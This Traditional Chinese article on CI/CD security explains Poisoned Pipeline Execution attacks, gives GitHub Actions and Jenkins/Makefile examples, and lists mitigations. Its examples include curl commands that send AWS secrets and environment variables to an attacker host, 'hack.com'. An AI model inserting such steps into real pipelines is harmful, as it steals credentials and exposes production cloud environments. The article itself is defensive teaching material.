十大 CI/CD 安全風險(三)
在上一篇文章,我們了解了依賴鏈濫用和基於流水線的訪問控制不足這兩大安全風險,並給出緩解風險的安全建議。本篇文章將著重介紹 PPE 風險,並提供緩解相關風險的安全建議與實踐。
Poisoned Pipeline Execution (PPE) 風險指的是攻擊者能夠訪問源程式碼控制系統,但無法訪問構建環境,通過將惡意程式碼/命令注入構建流水線配置來操縱構建過程,本質上是「中毒的」流水線和運行惡意程式碼作為構建過程的一部分。
風險描述
PPE 風險通常存在程式碼倉庫中,可控對應的 CI 管道配置文件,通過修改 CI 配置文件達到執行對應命令的目的。有權操作 CI 配置文件或 CI 流水線任務所依賴的其他文件的攻擊者,可以將惡意命令置入這些文件,通過執行這些惡意命令,最終「毒化」執行這些命令的 CI 流水線。執行未經審查的程式碼的流水線,比如一些直接由拉取請求或提交到任意存儲庫分支觸發的流水線,由於在設計上包含未經任何審查或批准的程式碼,更容易受到 PPE 風險的影響。一旦能夠在 CI 流水線中執行惡意程式碼,攻擊者就可以在流水線身份的上下文中進行各種惡意操作。
PPE 的三種類型
直接 PPE(D-PPE)
在 D-PPE 場景中,攻擊者修改他們有權訪問的存儲庫中的 CI 配置文件,通過直接將更改推送到存儲庫上未受保護的遠程分支,在提交 PR 時隨著分叉的更改而變化。由於 CI 流水線執行是由「push」或「PR」事件觸發的,並且流水線執行是由修改後的 CI 配置文件中的命令定義的,一旦構建流水線被攻擊,攻擊者的惡意命令最終會在構建節點中運行觸發。
間接 PPE(I-PPE)
在以下幾種情況下,即便攻擊者能夠訪問 SCM 存儲庫,也無法使用 D-PPE:
-
流水線配置為從同一存儲庫中單獨的受保護分支中提取 CI 配置文件。
-
CI 配置文件存儲在與源程式碼不同的存儲庫中,則用戶沒有直接編輯它的選項。
-
CI 構建是在 CI 系統本身中定義的——而不是在存儲在源程式碼中的文件中。
在這幾種情況下,攻擊者就會選擇向流水線配置文件引用的文件中注入惡意程式碼來破壞流水線:
-
make:執行「Makefile」文件中定義的命令。
-
從流水線配置文件中引用的腳本,與源程式碼本身存儲在同一存儲庫中(例如,
python myscript.py - myscript.py
將被攻擊者操縱)。 -
程式碼測試:在構建過程中在應用程式程式碼上運行的測試框架依賴於專用文件,這些文件與源程式碼本身存儲在同一存儲庫中。能夠操縱負責測試的程式碼的攻擊者能夠在構建中運行惡意命令。
-
自動工具:CI 中使用的 Linter 和安全掃描器通常也依賴於存儲庫中的配置文件。很多時候這些配置涉及從配置文件中定義的位置載入和運行外部程式碼。
因此,在 I-PPE 中,不同於將惡意命令直接插入流水線定義文件來破壞流水線,攻擊者通過將惡意程式碼注入到配置文件引用的文件中,一旦觸發流水線並運行相關文件中聲明的命令,惡意程式碼最終會在流水線節點上執行。
公共 PPE(3PE)
執行 PPE 攻擊需要訪問託管流水線配置文件的存儲庫或其引用的文件。大多數情況下,只有開發人員擁有此類許可,也就是說攻擊者必須要獲得開發工程師對存儲庫的許可和許可權才能執行直接或間接 PPE 攻擊。
然而,在一些情況下,互聯網上的匿名攻擊者可以使用「中毒的」 CI 流水線:公共存儲庫(例如開源項目)通常允許任何用戶做出貢獻,通過創建拉取請求,建議對程式碼進行更改。這些項目通常使用 CI 解決方案自動測試和構建,與私有項目類似。如果公共存儲庫的 CI 流水線運行匿名用戶建議的未經審查的程式碼,它很容易受到公共 PPE 攻擊,或者簡稱為 3PE。如果易受攻擊的公共存儲庫的流水線在與私有存儲庫相同的 CI 實例上運行,這也會暴露例如私有項目的敏感資訊這類的內部資產。
PPE 示例
通過 D-PPE (GitHub Actions) 竊取憑據
在以下示例中,GitHub 存儲庫與 GitHub Actions 工作流程連接,該工作流程獲取程式碼、構建程式碼、運行測試並最終將工件部署到 AWS。當新程式碼被推送到存儲庫中的遠程分支時,程式碼(包括流水線配置文件)由運行程式(工作流節點)獲取。
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest steps:
- run: |
echo "building..."
echo "testing..."
echo "deploying..."
在這種情況下,D-PPE 攻擊將按如下方式進行:
- 攻擊者在存儲庫中創建了一個新的遠程分支,在其中使用惡意命令更新流水線配置文件,這些命令旨在訪問 GitHub 組織範圍內的 AWS 憑證,然後將其發送到遠程伺服器。
name: PIPELINE
on: push
jobs:
build:
runs-on: ubuntu-latest
steps:
- env:
ACCESS_KEY: ${{ secrets.AWS_ACCESS_KEY_ID }}
SECRET_KEY: ${{ secrets.AWS_SECRET_ACCESS_KEY }}
run: |
curl -d creds="$(echo $ACCESS_KEY:$SECRET_KEY | base64 | base64)" hack.com
-
推送更新後,將觸發從存儲庫中獲取程式碼的流水線,包括惡意流水線配置文件。
-
流水線基於被攻擊者「毒化」的配置文件運行。根據攻擊者的惡意命令,存儲為存儲庫機密的 AWS 憑證被載入到記憶體中。
-
流水線繼續執行攻擊者的命令,將 AWS 憑證發送到攻擊者控制的伺服器。
-
攻擊者隨後能夠使用竊取的憑證訪問 AWS 生產環境。
通過 Indirect-PPE (Jenkins) 竊取憑證
這個例子展示的是 Jenkins 流水線從存儲庫中獲取程式碼、構建、運行測試並最終部署到 AWS。在此流水線中,Jenkinsfile 是受保護的,因為是從存儲庫中的主分支中獲取的。因此,攻擊者無法操縱構建定義,也無法獲取存儲在 Jenkins 憑證存儲中的機密或在其他節點上運行任務。
然而這並不代表流水線沒有風險。在流水線的構建階段,AWS 憑證作為環境變數載入,使其僅可用於在此階段運行的命令。在下面的示例中,基於 Makefile 的內容(也存儲在存儲庫中)的make命令作為此階段的一部分運行。
The Jenkinsfile:
pipeline {
agent any
stages {
stage('build') {
steps {
withAWS(credentials: 'AWS_key', region: 'us-east-1') {
sh 'make build'
sh 'make clean'
}
}
}
stage('test') {
steps {
sh 'go test -v ./...'
...
The Makefile:
build:
echo "building…"
clean:
echo "cleaning…"
在這種情況下,I-PPE 攻擊將按如下方式進行:
- 攻擊者在存儲庫中創建拉取請求,將惡意命令附加到 Makefile 文件中。
build:
curl -d "$$(env)" hack.com
clean:
echo "cleaning…"
-
由於流水線配置為在針對 repo 的任何 PR 時觸發,Jenkins 流水線被觸發,從存儲庫中獲取程式碼,包括惡意Makefile。
-
流水線基於存儲在主分支中的配置文件運行。進入構建階段,如原始 Jenkinsfile 中定義,將 AWS 憑證載入到環境變數中。然後,運行make build命令,該命令執行添加到Makefile中的惡意命令。
-
執行 Makefile 中定義的惡意構建函數,將 AWS 憑證發送到攻擊者控制的伺服器。
-
攻擊者隨後能夠使用竊取的憑證訪問 AWS 生產環境。
影響
在成功的 PPE 攻擊中,攻擊者在 CI 中執行未經審查的惡意程式碼。這為攻擊者提供了與構建任務相同的能力和訪問級別,包括:
-
訪問 CI 任務可用的任何機密,比如作為環境變數注入的機密或存儲在 CI 中的其他敏感資訊。CI/CD 系統負責構建程式碼和部署工件,通常包含多個如雲提供商、工件註冊表和 SCM 本身的重要憑證和令牌。
-
訪問任務節點有權訪問的外部資產,例如存儲在節點文件系統中的文件,或可通過底層主機訪問的雲環境的憑據。
-
能夠以構建過程構建的合法程式碼為障眼法,將程式碼和工件進一步傳送到流水線中。
-
能夠訪問作業節點的網路/環境中的其他主機和資產。
建議
預防和緩解 PPE 攻擊,涉及跨 SCM 和 CI 系統的多項措施:
-
確保運行未經審查的程式碼的流水線在隔離節點上執行,不會暴露在機密和敏感環境中。
-
評估外部貢獻者在公共存儲庫上觸發流水線的需求。在可能的情況下,避免運行源自分叉的流水線,並考慮添加控制措施,例如要求手動批准流水線執行。
-
對於包含敏感資訊的流水線,確保配置為觸發 CI 系統中的流水線的每個分支,在 SCM 中都有相關的分支保護規則。
-
為了防止操縱 CI 配置文件在流水線中運行惡意程式碼,必須在流水線運行之前審查每個 CI 配置文件。或者CI 配置文件可以在遠程分支中管理,與包含在流水線中構建的程式碼的分支分開。遠程分支應配置為受保護。
-
從不需要的用戶中刪除對 SCM 存儲庫授予的許可權。
-
每個流水線應該只能訪問實現其目的所需的憑據。憑據應具有所需的最低許可權。